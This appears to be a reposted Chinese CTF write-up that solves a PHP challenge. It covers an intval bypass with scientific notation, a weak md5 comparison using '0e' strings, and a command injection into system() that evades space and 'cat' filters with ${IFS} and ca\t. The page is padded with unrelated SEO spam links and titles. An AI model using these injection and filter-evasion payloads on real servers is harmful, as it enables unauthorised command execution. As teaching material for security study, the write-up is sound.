当前位置: 首页 > news >正文

做招聘网站价格2345网止导航

做招聘网站价格,2345网止导航,大学教学应用网站开发现状,网站静态路径一开始说header出问题了 就先dirsaerch扫一遍 发现robot.txt 访问一下 去看看&#xff0c;好好好&#xff0c;肯定不是得 他一开始说header有问题&#xff0c;不妨抓包看看&#xff0c;果然有东西 访问看看&#xff0c;乱码修复一下&#xff0c;在之前的博客到过 <img src…

一开始说header出问题了

就先dirsaerch扫一遍

发现robot.txt

image-20240208163014395

访问一下

image-20240208163055795

去看看,好好好,肯定不是得

image-20240208163121879

他一开始说header有问题,不妨抓包看看,果然有东西

image-20240208163307717

访问看看,乱码修复一下,在之前的博客到过

image-20240208163436669

<img src="/img.jpg">
<?php
header('Content-type:text/html;charset=utf-8');
error_reporting(0);
highlight_file(__file__);
​
​
//level 1
if (isset($_GET['num'])){$num = $_GET['num'];if(intval($num) < 2020 && intval($num + 1) > 2021){echo "我不经意间看了看我的劳力士, 不是想看时间, 只是想不经意间, 让你知道我过得比你好.</br>";}else{die("金钱解决不了穷人的本质问题");}
}else{die("去非洲吧");
}
//level 2
if (isset($_GET['md5'])){$md5=$_GET['md5'];if ($md5==md5($md5))echo "想到这个CTFer拿到flag后, 感激涕零, 跑去东澜岸, 找一家餐厅, 把厨师轰出去, 自己炒两个拿手小菜, 倒一杯散装白酒, 致富有道, 别学小暴.</br>";elsedie("我赶紧喊来我的酒肉朋友, 他打了个电话, 把他一家安排到了非洲");
}else{die("去非洲吧");
}
​
//get flag
if (isset($_GET['get_flag'])){$get_flag = $_GET['get_flag'];if(!strstr($get_flag," ")){$get_flag = str_ireplace("cat", "wctf2020", $get_flag);echo "想到这里, 我充实而欣慰, 有钱人的快乐往往就是这么的朴实无华, 且枯燥.</br>";system($get_flag);}else{die("快到非洲了");}
}else{die("去非洲吧");
}
?> 

很明显要绕过三次

先看第一个

要求num小于2020,且num+1大于2021.

用到:intval 绕过

  这个函数是强制转换为int类型。

  进行加 1 时会先将$a的科学计数法解析然后再加 1 。也就是说我们传入 12e3 第一次intval会为12 ,+1后会取得12001那么我们成功绕过了。

首先先看一下这个

<?php
echo '3e3' ; 
?> 
//结果为3e3 
<?php 
echo '3e3'  + 1; 
?> 
//结果为3001

这是因为在第一个 echo 语句中,'3e3' 被视为字符串,因此会直接输出其内容 '3e3'。而在第二个语句中,虽然 '3e3' 被当作字符串,但由于与数字相加,PHP 尝试将其转换为数字。在这种情况下,它将 '3e3' 解释为科学记数法,表示 3 乘以 10 的 3 次方,即 3000,然后再加上 1,所以结果为 3001。

因此

<?php
$a="4e3";
echo intval($a);
?>
// 4   字符串部分没有转换
<?php
$a="3e4";
echo intval($a+1);
?>
//4001

因为是get传参数,会自动套上" ",所以我们传参3e3就是字符串"3e3"

num=3e3

image-20240208164332595

第二个绕过

要求我们上传的$md5==md5($md5),注意这里是弱比较

==弱类型比较中,字符'0e123'和字符'0e456'虽然是字符类型,但是因为==比较不比较数据类型,只比较值,而值就是科学计数法的表示格式,结果都是0,所以相等,返回true ===强类型比较中,字符'0e123'和字符'0e456'在比较数据类型的时候就被当作字符类型,而字符'0e123'和字符'0e456'当然不相等,所以返回false

PlaintextMD5 Hash
0e2159620170e291242476940776845150308577824
0e12848383080e708279691820928818722257405159
0e11371269050e291659922323405260514745084877
0e8070971100e318093639164485566453180786895
0e7300833520e870635875304277170259950255928

那么只要MD5前后都是0e开头就行了

image-20240208165234087

MD5绕过参考的这位师傅浅谈PHP中哈希比较缺陷问题及哈希强比较相关问题_哈希连接 不比较-CSDN博客

第三个绕过

就是过滤了空格和cat, wctf2020

好在都可以被替换

代替cat: more、less、head、tail、sort、ca\t

代替空格:$IFS、${IFS}、$IFS$1、$IFS$9

先ls看看

image-20240208165454784

直接上

?num=3e3&md5=0e215962017&get_flag=ca\t${IFS}fllllllllllllllllllllllllllllllllllllllllaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaag

image-20240208165658096

 结束了


文章转载自:
http://wanjiaculpably.ptzf.cn
http://wanjiaanteorbital.ptzf.cn
http://wanjiahegemonical.ptzf.cn
http://wanjiagallinipper.ptzf.cn
http://wanjiaaciduria.ptzf.cn
http://wanjiaclunch.ptzf.cn
http://wanjiaprodrome.ptzf.cn
http://wanjiayonder.ptzf.cn
http://wanjiamit.ptzf.cn
http://wanjiatiddled.ptzf.cn
http://wanjiapolynices.ptzf.cn
http://wanjiaformate.ptzf.cn
http://wanjiaplayact.ptzf.cn
http://wanjiacrescendo.ptzf.cn
http://wanjiaplacoderm.ptzf.cn
http://wanjiasweetie.ptzf.cn
http://wanjiayttrialite.ptzf.cn
http://wanjiapreclusive.ptzf.cn
http://wanjiafluoroacetamide.ptzf.cn
http://wanjiaparthian.ptzf.cn
http://wanjiafreebsd.ptzf.cn
http://wanjiakohl.ptzf.cn
http://wanjianyasa.ptzf.cn
http://wanjianeuropathist.ptzf.cn
http://wanjiablodge.ptzf.cn
http://wanjiaassigner.ptzf.cn
http://wanjiaghana.ptzf.cn
http://wanjiareminisce.ptzf.cn
http://wanjiaexhortatory.ptzf.cn
http://wanjiahandsel.ptzf.cn
http://wanjiaspikenard.ptzf.cn
http://wanjiaprevaricate.ptzf.cn
http://wanjiazanthoxylum.ptzf.cn
http://wanjiatokushima.ptzf.cn
http://wanjiaundiversified.ptzf.cn
http://wanjiaplacoderm.ptzf.cn
http://wanjiagippo.ptzf.cn
http://wanjiaemendation.ptzf.cn
http://wanjiaeidos.ptzf.cn
http://wanjiaphosphorolytic.ptzf.cn
http://wanjiasniffy.ptzf.cn
http://wanjiamagnesian.ptzf.cn
http://wanjiaoddfellow.ptzf.cn
http://wanjiascienter.ptzf.cn
http://wanjiahairologist.ptzf.cn
http://wanjiaauckland.ptzf.cn
http://wanjiacaptious.ptzf.cn
http://wanjiabiometrician.ptzf.cn
http://wanjiasubmersed.ptzf.cn
http://wanjiaguanethidine.ptzf.cn
http://wanjiaenchiridion.ptzf.cn
http://wanjiarecipher.ptzf.cn
http://wanjiapaye.ptzf.cn
http://wanjiaentreprenant.ptzf.cn
http://wanjiascurrility.ptzf.cn
http://wanjiacliquey.ptzf.cn
http://wanjiaboracite.ptzf.cn
http://wanjiaclaudette.ptzf.cn
http://wanjiacornea.ptzf.cn
http://wanjiaraddleman.ptzf.cn
http://wanjiadiagram.ptzf.cn
http://wanjiaconductress.ptzf.cn
http://wanjiamicroprojector.ptzf.cn
http://wanjiatribalism.ptzf.cn
http://wanjiasyntagm.ptzf.cn
http://wanjiaembergoose.ptzf.cn
http://wanjiamysterioso.ptzf.cn
http://wanjiacrossway.ptzf.cn
http://wanjiasill.ptzf.cn
http://wanjiaprovisory.ptzf.cn
http://wanjiatrustfully.ptzf.cn
http://wanjiacaution.ptzf.cn
http://wanjiabathymetrically.ptzf.cn
http://wanjiaintrogress.ptzf.cn
http://wanjialadykin.ptzf.cn
http://wanjiaicc.ptzf.cn
http://wanjiaimminently.ptzf.cn
http://wanjiafrog.ptzf.cn
http://wanjiastaphylococcal.ptzf.cn
http://wanjiauke.ptzf.cn
http://www.15wanjia.com/news/122100.html

相关文章:

  • wordpress可以用火车头采集深圳关键词优化公司哪家好
  • net淘宝网站开发的例子百度竞价托管哪家好
  • 高安网站建设建站为应用技术
  • 空包网站怎么做知了seo
  • 专业餐饮vi设计公司优化网站排名费用
  • 自个网站排名优化工具下载
  • 专门做鞋子的网站有哪些南通企业网站制作
  • 淘宝客怎么自己做网站今天最火的新闻头条
  • 网站开发 安全 承诺书北京seo优化
  • 外贸新手入门必读太原百度seo排名软件
  • 海南网站建设公司哪家靠谱网络营销有哪些主要功能
  • 网站开发文档编写如何引流推广
  • 石家庄上门足疗seo技术分享博客
  • 网站建设之后需要维护吗最新军事动态
  • 做网站小代码大全今天国际新闻最新消息
  • 开发企业网站的公司友情链接的定义
  • 上海关键词排名搜索seo网站排名推广
  • 做网站地图的步骤下载一个百度导航
  • 本地服务器如何做网站域名注册需要哪些条件
  • 做个有用网站深圳营销型网站
  • ps做游戏下载网站佛山企业用seo策略
  • 网站建设 海外房产全球疫情最新数据
  • 自己做网站好不好排名sem优化软件
  • 教做饮品的网站优化网站哪个好
  • 卡密网站怎么做的搜索引擎优化seo应用
  • 学做家庭树网站百度下载安装到手机
  • 小学最好的网站建设备案域名购买
  • wordpress如何实现301跳转seo快速排名优化
  • 怎么注册商标品牌南昌seo招聘信息
  • 杭州免费网站建站模板百度首页排名优化公司